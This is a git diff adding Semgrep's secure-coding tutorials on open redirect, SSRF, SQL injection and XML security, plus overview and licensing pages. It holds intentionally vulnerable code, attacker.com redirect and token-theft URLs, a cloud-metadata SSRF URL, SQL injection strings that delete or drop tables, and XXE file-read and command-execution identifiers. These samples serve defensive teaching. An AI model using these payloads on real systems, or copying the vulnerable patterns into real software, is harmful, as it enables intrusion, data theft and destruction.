+# YAML serialization - safe_load prevents code execution
+yaml_data = yaml.dump(asdict(semgrep_safe))
+print("\nYAML serialized:")
+print(yaml_data)
+restored_from_yaml = SafeSASTool(**yaml.safe_load(yaml_data))
+print("YAML deserialized:", restored_from_yaml)
+
+print("\n=== All tests completed successfully! ===")
+```
diff --git a/mintlify-docs/learn/vulnerabilities/open-redirect.mdx b/mintlify-docs/learn/vulnerabilities/open-redirect.mdx
new file mode 100644
index 0000000000..26d8425ed2
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/open-redirect.mdx
@@ -0,0 +1,169 @@
+---
+title: "Open Redirect"
+---
+
+
+You receive a link in your email inbox from a social media website, it’s legitimate, the domain is correct and you login successfully. But instead of being redirected to the home screen, you find yourself on a phishing website. That’s what an open redirect can look like from the victim’s perspective.
+
+Redirect logic is common in web applications. Login flows, payment gateways, and content sharing often rely on redirects. A successful open redirect doesn’t just fool a single user, it undermines the integrity of your domain, erodes user trust, and exposes your business to phishing campaigns. While open redirects are sometimes dismissed as “low-severity,” attackers can often chain them into something far worse. As we’ll see in this article, the impact ranges from stealing OAuth tokens for account takeover, to bypassing CSRF protections, to escalating into XSS or [SSRF](/learn/vulnerabilities/server-side-request-forgery). In other words, what looks like a harmless detour can become the entry point to a critical breach.
+
+In this article, we will explore the fundamentals of open redirects, look in some more detail how attackers exploit them and escalate them. We’ll also show you what vulnerable code looks like, and finish with clear recommendations to reduce your risk.
+
+## What Are Open Redirects?
+
+Redirects are a standard feature of web applications. They were designed to solve practical problems, such as sending a user back to the page they came from, directing them to a login page, or moving them to a new section of a site after an update. In short, redirects help keep the user experience smooth when content or workflow changes.
+
+An **Open Redirect** risk appears when a redirect destination is built directly from user input. For example, if a program takes a value from a query parameter and uses it as the redirect target, it effectively gives control of navigation to whoever provides that input. Features like flexible URL parsing or automatic redirect handling can increase the exposure, because they make it easier for an attacker to supply their own links.
+
+
+### Exploiting Open Redirect Vulnerabilities
+
+One of the most straightforward attacks is **redirecting users to a malicious website**. Imagine an application that redirects users to a protected page. The application may redirect the users to the login page and send the original protected page as a query parameter to redirect to after logging in, such as:
+
+```text
+https://semgrep.dev/login?redirect_url=https://semgrep.dev/my-dashboard
+```
+
+If the program redirects to whatever appears in `redirect_url`, an attacker can replace it with a malicious destination:
+
+```text
+https://semgrep.dev/login?redirect_url=https://attacker.com/my-semgrep-dashboard
+```
+
+The user sees the trusted domain `semgrep.dev` in their browser before the redirect happens. By the time they land on the attacker’s page, it may look like a legitimate login or checkout page designed to steal credentials.
+
+## Common Open Redirect Attacks
+
+To an attacker, an open redirect is often considered low-hanging fruit. However, with the increased complexity of modern applications, it’s often become possible to escalate these to higher-severity security issues. That’s why open redirects shouldn’t be dismissed as harmless. In practice, they’re often used as building blocks in larger attacks such as phishing, session fixation, Cross-Site Scripting (XSS), [Server-Side Request Forgery (SSRF)](/learn/vulnerabilities/server-side-request-forgery), or Cross-Site Request Forgery (CSRF). Here’s a few examples.
+
+### Chaining with CSRF
+
+This Python example with Django demonstrates combining an open redirect with a cross-site request forgery:
+
+```python
+from django.http import HttpResponseRedirect, JsonResponse
+
+def redirect_view(request):
+ url = request.GET.get("url")
+ return HttpResponseRedirect(url)
+
+def export_semgrep_findings(request):
+ if request.method == "GET":
+ project_id = request.GET.get("id")
+ email = request.GET.get("email")
+ export_and_send_semgrep_findings(project_id, email)
+ return JsonResponse({"success": True, "message": "Findings sent"})
+```
+
+In this fictional example, we notice an open redirect in the `redirect_view` . Additionally, if CSRF protection is not enabled globally, the `export_semgrep_findings` function is vulnerable to a CSRF attack. The following malicious link would allow an attacker to trick a logged-in user into triggering a request that exports sensitive Semgrep findings from their project and emails them straight to the attacker.
+
+```python
+/redirect?url=/api/project/export?id=1234&email=pieter@attacker.com
+```
+
+### Chaining with SSRF
+
+Even if an application tries to restrict which hosts it can fetch from, an open redirect can bypass those defenses. Suppose `semgrep.dev` has an image loader that only allows fetching from `*.semgrep.dev`, the implementation might look something like the Python code snippet below.
+
+```python
+import requests
+from urllib.parse import urlparse
+from django.http import JsonResponse
+
+def image_loader(request):
+ url = request.GET.get("url")
+ parsed = urlparse(url)
+
+ if not parsed.hostname.endswith("semgrep.dev"):
+ return JsonResponse({"error": "Invalid host"}, status=403)
+ try:
+ resp = requests.get(url)
+ return JsonResponse({"image_data": resp.text})
+ except Exception:
+ return JsonResponse({"error": "Failed to fetch"}, status=500)
+```
+
+An attacker can combine this with the open redirect endpoint:
+
+```text
+/api/image-loader?url=http://semgrep.dev/redirect?url=http://169.254.169.254/data
+```
+
+Because the `requests` library automatically follows redirects, the server fetches data from internal services not intended to be reachable by users, effectively turning the open redirect into an SSRF vector.
+
+### Account takeover with OAuth
+
+Open redirects are especially dangerous when used in authentication flows. For example, in a simplified OAuth endpoint:
+
+```python
+from django.http import HttpResponseRedirect
+
+def oauth_start(request):
+ cid = request.GET.get("client_id")
+ uri = request.GET.get("redirect_uri")
+ url = f"https://oauth.provider.com/auth?client_id={cid}&redirect_uri={uri}&response_type=token"
+ return HttpResponseRedirect(url)
+```
+
+If the redirect URI is not validated, an attacker can supply a URL they control:
+
+```text
+/api/oauth/start?client_id=1234&redirect_uri=https://attacker.com/callback
+```
+
+When the OAuth provider completes the login flow, it sends the victim’s access token to the attacker’s server. With this token, the attacker can impersonate the victim and take over their account.
+
+
+## Detecting Open Redirect Vulnerabilities in Your Code
+
+We’ve already seen a number of Open Redirect vulnerabilities above. To find similar issues in your code, you need to look for places where user-supplied data can control the URL of a redirect. The simplest, yet surprisingly common, data flow is when a query parameter is used to supply the redirect URL entirely.
+
+```python
+from django.http import HttpResponseRedirect
+
+def index(request):
+ user_supplied_url = request.GET["redirect_url"]
+ return HttpResponseRedirect(user_supplied_url)
+```
+
+The program reads the value of `redirect_url` from the query string and redirects the user to it. But because this value comes directly from user input, an attacker can supply any domain they want. The server does not verify if the destination is trusted, which makes this a textbook open redirect.
+
+To detect these issues in your own code, you need to trace the flow of user-controlled input into redirect functions. This can be challenging to do manually in larger projects, because input may pass through several variables before being used. Semgrep can identify when data from request parameters or headers flows into redirect functions. It highlights risky cases while ignoring safe patterns, such as when the redirect target is built from fixed routes using mapping tables like [Django’s `reverse()` function.](https://docs.djangoproject.com/en/5.2/ref/urlresolvers/)
+
+
+## Recommendations and Mitigations
+
+The most effective defense is to ensure that user input never directly controls the full redirect destination.
+
+If your application needs to support dynamic redirects, restrict them to a predefined list of safe domains or internal paths. Check if your library or framework provides utility functions to safely redirect to known paths, such as [Django’s `reverse()` function.](https://docs.djangoproject.com/en/5.2/ref/urlresolvers/)
+
+```python
+from django.http import HttpResponseRedirect, HttpResponseBadRequest
+from django.urls import reverse, NoReverseMatch
+
+def safe_redirect(request):
+ target = request.GET.get("next")
+
+ try:
+ # reverse() only resolves to registered Django views
+ safe_url = reverse(target)
+ return HttpResponseRedirect(safe_url)
+ except NoReverseMatch:
+ return HttpResponseBadRequest("Invalid redirect target")
+
+ return HttpResponseBadRequest("Redirect not allowed")
+```
+
+If you must implement the allowlist yourself, be careful to implement the checks correctly. Attackers have many workarounds for common implementations. Take a look at [Portswigger’s url validation bypass cheat sheet](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) to see how creative they can get.
+
+Even, then, if you correctly restrict the URL, as we’ve seen in the example attacks, redirects to restricted domains can still be useful to an attacker turning them into SSRF vectors.
+
+If it is not possible to use any of the above defenses, another useful approach is to notify the user whenever they are leaving your site. Showing the external domain clearly gives them a chance to recognize when something looks suspicious.
+
+## Conclusion
+
+Open redirects may look like a minor detail, but they can have major consequences. When untrusted input controls navigation, attackers can exploit the trust users place in your domain and redirect them to harmful destinations.
+
+In this article, we covered what redirects are, how attackers abuse them, how to spot vulnerable code, and what practical steps you can take to avoid them. The takeaway is simple: never let raw user input decide where your program redirects.
+
+Redirect logic will always be part of building modern applications, but with careful validation and the help of tools like Semgrep, you can keep your projects safe from this subtle but impactful issue.
diff --git a/mintlify-docs/learn/vulnerabilities/overview.mdx b/mintlify-docs/learn/vulnerabilities/overview.mdx
new file mode 100644
index 0000000000..213e528510
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/overview.mdx
@@ -0,0 +1,84 @@
+---
+title: "Understanding Security Vulnerabilities"
+sidebarTitle: "Vulnerabilities"
+---
+
+An **application security vulnerability** is a weaknesses in software systems that can be exploited by attackers to compromise the confidentiality, integrity, or availability of applications and data. Understanding these vulnerabilities is crucial for building secure applications and maintaining a strong security posture.
+
+## What We'll Teach You
+
+This section covers common security vulnerabilities that affect modern applications. For each vulnerability type, we'll explain:
+
+- **How the vulnerability occurs** including the root causes and common scenarios.
+- **Real-world examples** with code patterns that introduce these types of issues.
+- **Impact and risks** as a consequence for when these vulnerabilities are exploited.
+- **Prevention techniques** and secure coding best practices to avoid the problems.
+- **Detection methods** such as how Semgrep can help with identification by scanning code.
+
+Learning about these vulnerabilities helps you write more secure code and build better defenses into your applications from the start.
+
+## Vulnerability Categories
+
+
+
+
+
+
+
+
+
+
+
+
+
+## Additional Resources
+
+* [Security Research Blog](https://semgrep.dev/blog/security-research/): Recent blog posts from the Semgrep Security Research team discussing trends in vulnerability research and application security.
+
+
+
diff --git a/mintlify-docs/learn/vulnerabilities/server-side-request-forgery.mdx b/mintlify-docs/learn/vulnerabilities/server-side-request-forgery.mdx
new file mode 100644
index 0000000000..dcb10a1dc0
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/server-side-request-forgery.mdx
@@ -0,0 +1,82 @@
+---
+title: "Server Side Request Forgery (SSRF)"
+sidebarTitle: "Server Side Request Forgery"
+---
+
+**Server-Side Request Forgery (SSRF)** happens when a malicious user can manipulate your application into making network requests to unintended servers. This vulnerability is possible when users can manipulate the domain of a URL that your server sends requests to.
+
+This article will walk you through the fundamentals of SSRF, explain how common attacks work, show what vulnerable code looks like, and provide practical steps you can take to prevent these issues in your own projects.
+
+## What is SSRF?
+
+In 2021, the security community added Server-Side Request Forgery (SSRF) to the OWASP Top 10 list of most critical web application risks. The OWASP Top 10 is based on recent data from a variety of sources such as security vendors and consultancies and bug bounties. SSRF earned its spot due to several high-profile breaches that have been traced back to SSRF, including incidents where attackers gained access to internal cloud metadata services.
+
+Server-Side Request Forgery is a security issue that arises when a program accepts input from a user and uses it to make network requests. The original purpose of fetching remote data from within server-side code is usually harmless. You might need to grab a file from a partner service, query an external API, or allow users to preview a link.
+
+The risk of SSRF comes from the way applications handle user-supplied URLs. When a program takes input from a user and uses it to build an outbound request, the server effectively allows the user to decide where the application sends requests to. Because these requests come from inside the server’s own environment, they often bypass the protections that normally shield internal services from the public internet. Features such as automatic redirects, flexible URL parsing, or built-in authentication can make the problem worse, because they extend the server’s reach and trust in ways an attacker can exploit.
+
+## Common SSRF Attacks
+
+One of the simplest SSRF attacks involves making a request to a URL controlled by the attacker. Imagine a web application that lets users paste in a link to fetch metadata. If the application directly requests whatever link the user provides, the attacker can force the server to fetch malicious content instead of safe data like:
+
+```text
+https://attacker.com
+```
+
+A second type of attack targets internal services. Cloud environments often expose metadata endpoints on private network addresses. An attacker who provides a URL like:
+
+```text
+https://169.254.169.254/latest/meta-data/
+```
+
+The above can trick your server into retrieving sensitive metadata and credentials from the internal network. From there, the attacker may escalate access to control cloud resources or steal secrets.
+
+OWASP maintains an [SSRF cheat sheet](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29) with further examples.
+
+
+
+## Detecting SSRF Vulnerabilities in Your Code
+
+Let’s look at a short Python example:
+
+```python
+import requests
+from flask import request
+
+def fetch_data_vulnerable():
+ user_supplied_url = request.args.get("url")
+ if user_supplied_url.startswith("https://semgrep.dev")
+ response = requests.get(user_supplied_url)
+ else
+ response = None
+ return response.text
+
+def fetch_data_securely():
+ user_supplied_request_params = request.args.get("params")
+ response = requests.get("https://semgrep.dev/" + user_supplied_request_params)
+ return response.text
+```
+
+In the function `fetch_data_vulnerable`, a request is made to a user-supplied url. There is a check to see if the url is on the domain [`semgrep.dev`](https://semgrep.dev) but it is insufficient. Notice what happens if the user enters `https://semgrep.dev.attacker.com`. The resulting URL is an attacker-controlled domain. This is a textbook case of SSRF.
+
+Tools like Semgrep can detect this type of issue automatically. They will look for untrusted input from user requests flowing into functions that send HTTP requests. The rule recognizes when user input is concatenated into the URL or passed through intermediate variables. This makes it practical to find SSRF vulnerabilities across large codebases without needing to manually inspect every string operation.
+
+
+## Recommendations and Mitigations
+
+It is often required or desirable for the functionality of the application to let users control part of the request. However, to avoid SSRF, under no circumstances should you allow user input to control the host portion of a URL. As we’ve seen earlier in this article, even checking the domain against an allowlist is still risky if it’s not properly implemented. The best solution is to restrict user input to safe components of the url such as query parameters or paths, and encode them properly.
+
+So, instead of building `https://` + user input, consider using a fixed base domain like `https://api.semgrep.dev/` and only appending user-controlled values after it.
+
+If this is not possible, validation can still be a strong defense. Apply strict checks to ensure that user input does not include unexpected schemes (`file://`, `gopher://`, etc.), IP addresses, or nested authentication segments. Where possible, use allowlists of trusted domains, rather than trying to block known bad ones.
+
+Finally, monitor your code regularly. Automated tools like Semgrep make it easier to detect when risky patterns creep in over time. Running these checks as part of your development workflow can prevent issues from slipping into production in the first place.
+
+
+## Conclusion
+
+Server-Side Request Forgery has been the root cause of significant breaches. The core risk is simple: if your server makes requests based on untrusted input, you may unintentionally give attackers a bridge into systems they should never reach.
+
+We covered the basics of SSRF, explored common attacks, looked at a vulnerable code example, and reviewed practical ways to prevent this issue. The main message is clear—never let users dictate the base of the URL your server requests.
+
+Just as high-profile breaches showed, overlooking SSRF can turn a small coding choice into a major incident. By understanding the risk and applying the safeguards discussed here, you can protect your projects and avoid repeating the mistakes that attackers count on. If you’d like to go deeper, try running Semgrep on your own code and explore our security rules for SSRF detection.
diff --git a/mintlify-docs/learn/vulnerabilities/sql-injection.mdx b/mintlify-docs/learn/vulnerabilities/sql-injection.mdx
new file mode 100644
index 0000000000..6653832d54
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/sql-injection.mdx
@@ -0,0 +1,180 @@
+---
+title: "SQL Injection"
+---
+
+If your application uses **Structured Query Language (SQL)** for a relational database and takes any user‑input (directly or indirectly), unsanitized input can be used by an attacker to inject a compromised instruction to your database. This can lead to data theft, data corruption, privilege escalation, or even remote code execution in some cases. These flaws compromise system integrity for your applications.
+
+This type of vulnerability is well known but still too often left open to compromise. To prevent **SQL injection**, treat user input as tainted, not as safe variables to include in your queries. Parameterized queries, object-relational mapping (ORM) libraries and other safe query‑building methods are plentiful.
+
+In this article, we’ll explain what SQL injection is and why it still matters. Next, we’ll look at common ways it’s exploited and show code examples to help you identify it in your own code. Finally, we’ll offer recommendations and mitigation strategies you can apply immediately.
+
+## What is SQL Injection (SQLi)
+
+SQL is used to query relational databases. When building SQL queries, often developers include parts of queries that come from user input. If the input is not safely handled, an attacker can “inject” SQL fragments that alter the structure of the query. Instead of just passing as data, the user input influences the logic (ie. conditions, clauses, or even entirely new statements).
+
+There are many reasons this vulnerability still happens.
+
+- many frameworks or libraries allow (or even require) some dynamic SQL assembly
+- concatenating strings or using template interpolation is convenient
+- when optimizing long query performance, safeguards from ORM or other abstractions may be short-circuited
+
+Somtimes in large codebases, legacy code, or unsafe patterns persist in documentation that may have been used as a reference.
+
+## Common SQL Injection Attacks
+
+Let’s walk through some examples for what SQL injection looks like in real-world code.
+
+A typical SQLi vulnerability starts when user input is embedded directly into a SQL query string. Consider this Python example:
+
+```python
+def search(request):
+ query = request.GET['q']
+ sql = f"SELECT * FROM semgrep_customers WHERE company = '{query}';"
+ cursor = db.cursor()
+ cursor.execute(sql)
+```
+
+There are DB compliant libraries that can be used with a variety of databases incuding sqlite, postgres, mysql, and more.
+
+This may seem like a standard select, but you might notice that if the user submits something that disrupts parsing the query they can execute arbitrary SQL commands.
+
+Passing `' OR 'a'='a` as your query becomes:
+```sql
+SELECT * FROM semgrep_customers WHERE company = '' OR 'a'='a';
+```
+
+This returns all rows in the table because the second expression always evaluates to true. In a more damaging case, the attacker might input something like:
+
+```sql
+'; DELETE FROM semgrep_customers; --
+```
+
+This could delete all data in that table. All it took was a few characters in a user-supplied input field.
+
+
+### Classic Injection via string concatenation
+
+The above example used string interpolation but the same can occur when concatenating strings.
+
+Suppose you build a query like this:
+
+```javascript
+"SELECT * FROM users WHERE name = '" + userInput + "';"
+```
+
+By manipulating the value of `userInput` the attacker can inject their command into the query behavior such as returning the full table results `' OR '1'='1` or executing arbitrary database operations with `; DROP table users; --`.
+
+### Blind SQL Injection
+
+The previous examples still require knowledge of how the database tables are structured and which database is being used. The attacker might be able to infer details by using boolean conditions, timing (delays), or injecting error codes.
+
+A successful or failure in a query can leak information.
+
+For example:
+
+```sql
+WHERE IF( substring(column,1,1) = 'a', sleep(5), 0)
+```
+
+If the response is delayed, the attacker infers that the first letter is ‘a’.
+
+### Second‑order SQL Injection
+
+Another indirect attack vector may be when data is fetched from the database itself and used in a query. If an attacker can enter data into the database, they can insert the malicious string that the source code treats as a trusted source because the data came from inside the database.
+
+Suppose user input is sanitized superficially, stored, but later passed through un-sanitized dynamic SQL. An attack happens when that second usage of the payload occurs.
+
+## Detecting SQL Injection Vulnerabilities in Your Code
+
+Some general guidance on where to focus triage for SQLi:
+- Places in code where user input (from query params, body, cookies, headers, files, etc.) enters and is used in raw SQL functions, dynamic query builders, or template literals.
+- Usage of dangerous “raw query” / “query string” APIs. In many frameworks or ORMs there are methods like query(...), execute(...), or string interpolation.
+- Absence of parameter binding, named parameters, or prepared statements.
+
+
+Semgrep can help identify SQL injection patterns across large codebases. You can use the [p/sql-injection](https://semgrep.dev/p/sql-injection) ruleset to find common injection patterns, including following more complex tainted data flows.
+
+Integrating Semgrep scanning into your development workflow is a way to catch SQLi issues during development and before reaching production. To scan your codebase run:
+
+```bash
+semgrep --config p/sql-injection
+```
+
+### Example Semgrep Rule: express-sequelize-injection
+
+Consider this JavaScript / TypeScript / Express + Sequelize code:
+
+```javascript
+let criteria = req.query.foo
+
+// ok: this is proper handling that should not match
+sequelize.query(
+ 'SELECT * FROM projects WHERE status = ?',
+ {
+ replacements: [req.body.foo],
+ type: QueryTypes.SELECT
+ }
+)
+
+// Unsafe: direct interpolation / template literal
+sequelize.query(`SELECT * FROM Foo WHERE criteria LIKE '%${criteria}%'`);
+
+// Unsafe: using replacement in object but still embedding unsanitized user data
+sequelize.query(`SELECT * FROM Foo WHERE criteria LIKE '%${obj.replacements[0]}%'`);
+```
+
+These are flagged by the [express-sequelize-injection](https://semgrep.dev/playground/r/bZT2ew/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection) rule.
+
+
+## Recommendations and Mitigations
+
+Here are some robust and concrete tips for writing secure database queries.
+
+### Always use parameterized queries
+
+This is the most reliable way to prevent SQLi. Instead of building the SQL string manually, placeholders are used and the values are passed separately. This separates code from data and let's the library properly check for and escape any malicious strings.
+
+This is a Python example that lets the `execute` function santize the query string that was passed with an http request:
+
+```python
+cursor.execute(
+ "SELECT * FROM some_table WHERE title LIKE %s",
+ [request.GET['q']]
+)
+```
+
+Most database drivers support parameterized queries because this has been a long-standing problem in the industry. Specific placeholder syntax may vary (`%s`, `?`, `:name`, etc.) but the concept remains the same.
+
+### Avoid raw string construction in queries
+
+Even if data appears safe and from a trusted source, if a user can manipulate it avoid using it in concatenation expressions or string interpolation.
+
+
+### Make the safe path the default
+
+Favor tools and abstractions (like ORMs) that use parameterized queries by default. If you have to drop down to raw queries for performance or flexibility reasons, document why, and audit the input path rigorously.
+
+### Audit third-party query extensions
+
+Even if you're using an ORM, be cautious with third-party extensions or custom query builders. These sometimes allow constructing queries via string interpolation under the hood, which can reintroduce the same risk. Prefer mature and well-reviewed packages as part of your software supply chain.
+
+### Check stored procedures too
+
+Application code is not the only place where injection can occur. A stored procedure may run with the database, but if not checked or scanned could still leave the database open to compromise. Avoid unsafe constructs like EXEC or EXECUTE in combination with concatenation.
+
+### Limit database privileges
+
+Use separate permissions for database maintenance / migration / schema changes from the permissions used for application logic.
+
+While this does not prevent SQLi from happening, it can limit the consequences.
+
+### Catch Database Errors
+
+Attackers will look at error messages to learn more about how something has been designed. If a database error is not caught in the application logic and is presented to the end user, this could provide a clue that there is an underlying vulnerability waiting to be exploited.
+
+## Conclusion
+
+SQL injection is a well‑known, yet still prevalent vulnerability. It arises whenever user input is treated as part of the SQL command, rather than strictly as literal data.
+
+We saw how SQL injection works (string concatenation, template literals, blind or second‑order forms), and how detection tools like Semgrep can help. We outlined strong mitigation strategies such as parameterization, use of trusted libraries, strict input validation, least privilege, etc.
+
diff --git a/mintlify-docs/learn/vulnerabilities/xml-security.mdx b/mintlify-docs/learn/vulnerabilities/xml-security.mdx
new file mode 100644
index 0000000000..0ebe82420e
--- /dev/null
+++ b/mintlify-docs/learn/vulnerabilities/xml-security.mdx
@@ -0,0 +1,162 @@
+---
+title: "XML Security"
+---
+
+If your applications ever parse XML—whether it comes from user uploads, web services, or configuration files—you could be exposed to a risk. For developers, this matters because even if you are not writing low-level parsing code, the libraries you rely on might be insecure by default.
+
+The key takeaway is simple: XML is powerful but risky. Unless you configure your parser securely, attackers can exploit features that were designed for flexibility, not safety.
+
+This article will give you a solid foundation in XML security. First, we’ll look at the basics of XML and the features that create risks. Next, we’ll walk through the most common XML-based attacks and show you how to recognize them in code. Finally, we’ll cover practical steps you can take to configure parsers securely and reduce your exposure.
+
+## What is XML Security?
+
+In 2017, XML security had its own spot on the OWASP Top 10 list of the most critical web application risks. In the latest 2021 update, it is no longer called out as a separate category but instead falls under “Security Misconfiguration.” Even so, XML vulnerabilities remain common—searching the CVE database for XML-related flaws returns thousands of entries, including recent ones that enabled attackers to steal data or execute code remotely.
+
+Fundamentally, as its name indicates, eXtensible Markup Language (XML) is a markup language. It is designed for storing and sending data.
+
+XML provides several mechanisms for loading parts from the document from other sources. Two commonly used mechanisms are external Document Type Definitions (DTDs), and external entities.
+
+### External Document Type Definition
+
+The XML DTD is defined at the top of an XML document using the `DOCTYPE` keyword. It defines the legal structure of the document.
+
+```xml
+
+
+
+]>
+```
+
+When this DTD is loaded from another source instead of defined in the document itself, it is called an external DTD. To use an external DTD, use the `SYSTEM` keyword and provide a URL or filename to the DTD.
+
+```xml
+
+```
+
+### External XML Entities
+
+XML entities are used to represent structured data. The XML specification has several entities built in. But as the X in XML implies: it is an extensible language and custom entities can be defined in the DTD using the `ENTITY` keyword.
+
+```xml
+ ]>
+```
+
+XML entities can recursively use other custom entities in their definition.
+
+```xml
+
+
+```
+
+Similarly to external DTDs, entities can also be externally loaded using the `SYSTEM` command, these are called external XML entities.
+
+```xml
+ ]>
+```
+
+The XML specification includes more than just DTDs and external entities for including external data. Other features like XInclude, the `schemaLocation` attribute, the `xsl:include` element, the `document()` function, and `import` or `include` statements can all be used to reference external resources. You can find an overview of these and more in our [XML Cheat Sheet](/cheat-sheets/java-xxe).
+
+## Common XML Attacks
+
+XML was designed to store and transmit data. When an application receives an XML file, or reads one from the filesystem, it needs to parse the XML data. To achieve this many libraries are available that implement the XML specifications as described above. However, if the XML data is untrusted, there are several features in the specifications that can be manipulated to achieve malicious behaviour.
+
+### XML Injection
+
+The first type of attack does not trick the parser into fetching external content. Instead, the attacker injects additional tags or attributes into the XML itself to alter the logic of the application.
+
+Imagine an application that reads user account details from XML like this:
+
+```xml
+
+ pieter
+ false
+
+```
+
+If the application does not validate input properly, an attacker could send:
+
+```xml
+
+ pieter
+ true
+
+```
+
+If the code simply trusts the `admin` field, the attacker could escalate privileges. This is similar in spirit to SQL Injection but applied to XML-based logic.
+
+### Exponential Entity Expansion (XEE)
+
+**EXpontential Entity Expansion (XEE)** happens when the mechanism for recursively defining XML entities with other entities is manipulated into expanding several layers of nested entities. This type of attack is also known as an XML bomb or billion laughs attack. As an example, here is the [XML bomb payload](https://github.com/semgrep/java-xxe-research/blob/main/payloads-new/xml-attacks/xml-bomb.xml) we used in our research project on GitHub.
+
+```xml
+
+
+
+
+
+
+
+
+
+
+
+
+]>
+&lol9;
+```
+
+Parsing a document like that with several layers of nested entities can lead to the parser consuming too many resources on the server, leading to a Denial of Service (DoS) attack.
+
+### XML External Entity (XXE) Injection
+
+**XML eXternal Entity (XXE)** happens when one of the 9 mechanisms to include external content is manipulated into parsing read content from an unintended location. This can lead to the disclosure of confidential data if the identifier supplied by the attacker is something like `file:///etc/passwd` . In other cases, XXE payloads can be used to upload code files that can later be triggered in remote code execution attacks, like in [this CVE](https://www.horizon3.ai/red-team-blog-cve-2022-28219/#:~:text=Then%20send%20the%20request%20to%20trigger%20the%20XXE%20and%20file%20upload%3A) where the identifier referenced a java code archive. In PHP, the right identifier by itself can even cause arbitrary code execution when the `expect` module is loaded. In that case, a pseudo-uri like `expect://cmd` will execute `cmd` and return the output of the command.
+
+## Detecting XML Security Vulnerabilities in Your Code
+
+Detecting XML issues can be challenging because risky behavior often comes from default parser configurations rather than obvious coding mistakes. Let’s look at a Java example.
+
+```java
+DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
+DocumentBuilder builder = factory.newDocumentBuilder();
+Document doc = builder.parse("input.xml");
+```
+
+At first glance, this looks harmless. But in many XML libraries, this setup will **process external entities by default**. If `input.xml` is attacker-controlled, the parser could make network requests or expose files.
+
+Tools like **Semgrep** can help detect these patterns. Rules for XXE look for places in code where XML parsing from untrusted sources occurs without security features enabled. For XML Injection, detection is more about how the application uses parsed data. If the code blindly trusts XML input without validating it against a strict schema, that’s a sign of risk.
+
+## Recommendations and Mitigations
+
+While the flexibility of XML can lead to security vulnerabilities, you can mitigate these risks by configuring your parser correctly and adopting a secure development mindset. Here are some key recommendations and mitigations to consider.
+
+### Consider using alternative formats
+
+Before you even start, ask yourself if you really need to use XML. For many modern applications, simpler and less risky data formats like **JSON** (JavaScript Object Notation) or **YAML** (YAML Ain't Markup Language) are perfectly suitable. Both are lightweight and widely supported, offering similar data-structuring capabilities without the complex and sometimes vulnerable features of XML like DTDs and external entities. If your use case involves web APIs or configuration files, JSON or YAML can be a much safer default choice.
+
+### Use up-to-date language and libraries
+
+Staying current is critical. Vulnerabilities are frequently discovered in older language versions and libraries. During some of our research on XML parsers in Java, we ran into a known JDK bug where DOM parsers do not honor setExpandEntityReferences(false) for certain JDK versions. Using up-to-date versions ensures you benefit from the latest security patches and bug fixes. Regularly check for updates and integrate them into your development workflow.
+
+### Disabling DTD processing
+
+One of the most effective ways to prevent both XEE and XXE attacks is to disable DTD processing entirely. Since DTDs are the primary mechanism for declaring and referencing entities, disabling them prevents the parser from attempting to process any external content. Most XML parsers provide a configuration setting to achieve this. For instance, in Java, you can often set a `FEATURE` like `XMLConstants.FEATURE_SECURE_PROCESSING` or `XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES` to `false`.
+
+### Disable external entities
+
+If you can't disable DTDs completely, the next best thing is to disable external entities. This is a more granular approach that allows internal DTDs to be processed while blocking any references to external resources. This can be configured separately from DTD processing and is a key step in preventing XXE attacks. Some parsers, like the Python `defusedxml` library, are specifically designed to be resistant to these attacks by default, making them a safer alternative to standard libraries.
+
+### Disabling external schema/stylesheet processing
+
+To prevent attacks related to schema and stylesheet processing, you can also configure your parser to disable the processing of external schemas and stylesheets. The specific method depends on the library, but it's a critical security control to include in your parser's configuration. In Java, the `setAttribute` method can be used to set `XMLConstants.ACCESS_EXTERNAL_SCHEMA` and `XMLConstants.ACCESS_EXTERNAL_STYLESHEET` to an empty string to disable these features. The feature, however, is not implemented effectively for all parsers, consult our cheat sheet to ensure you configure your specific parser securely!
+
+## Conclusion
+
+XML is flexible, but that flexibility comes with risks. Features like entities, DTDs, and external references were designed for convenience, not for secure handling of untrusted data. Left unconfigured, many parsers will expose your application to denial-of-service, data disclosure, or logic flaws.
+
+We covered the basics of XML, walked through the common attacks of entity expansion, XXE, and XML injection, and showed how to recognize insecure parsing patterns in code. The most important step you can take is to configure parsers securely or avoid XML entirely if you don’t need it.
+
+To dive deeper, explore the [Semgrep XML Security resources](/cheat-sheets/java-xxe) and consider scanning your code with Semgrep to catch risky configurations before attackers do.
+
+Just like the OWASP top 10 reflects, XML risks haven't disappeared—they've just become part of a broader story about secure configuration.
diff --git a/mintlify-docs/licensing.mdx b/mintlify-docs/licensing.mdx
new file mode 100644
index 0000000000..05bea1dc01
--- /dev/null
+++ b/mintlify-docs/licensing.mdx
@@ -0,0 +1,31 @@
+---
+title: "Licensing"
+sidebarTitle: "Licenses"
+description: "The following is a list of products offered by Semgrep, Inc., along with their license information."
+---
+
+**Semgrep Registry**
+ The [Semgrep Registry](https://semgrep.dev/explore) is a collection of rules and rulesets:
+ - All rules, which includes both Community and Pro rules, listed in the [semgrep-rules](https://github.com/semgrep/semgrep-rules) repository are licensed under [Semgrep Rules License v.1.0](https://semgrep.dev/legal/rules-license). They are available only for internal business use. Vendors cannot use Semgrep-maintained rules in competing products or SaaS offerings. Individuals, security consultants, and companies are welcome to use the rules internally.
+ - Rules from third-party repositories in the [Semgrep Registry](https://semgrep.dev/explore) inherit the licenses of their source repositories. These licenses are displayed within the rule definition in the editor. For example: [Rules written by Trail of Bits](https://semgrep.dev/p/trailofbits) security experts licensed under AGPL-3.0 license.
+
+**Semgrep AppSec Platform**
+ Proprietary. See [Terms of Service](https://semgrep.dev/terms).
+
+**Semgrep Code**
+ Proprietary. See [Terms of Service](https://semgrep.dev/terms).
+
+
+**Semgrep Secrets**
+ Proprietary. See [Terms of Service](https://semgrep.dev/terms).
+
+
+**Semgrep Supply Chain**
+ Proprietary. See [Terms of Service](https://semgrep.dev/terms).
+
+**Semgrep Community Edition (CE)**
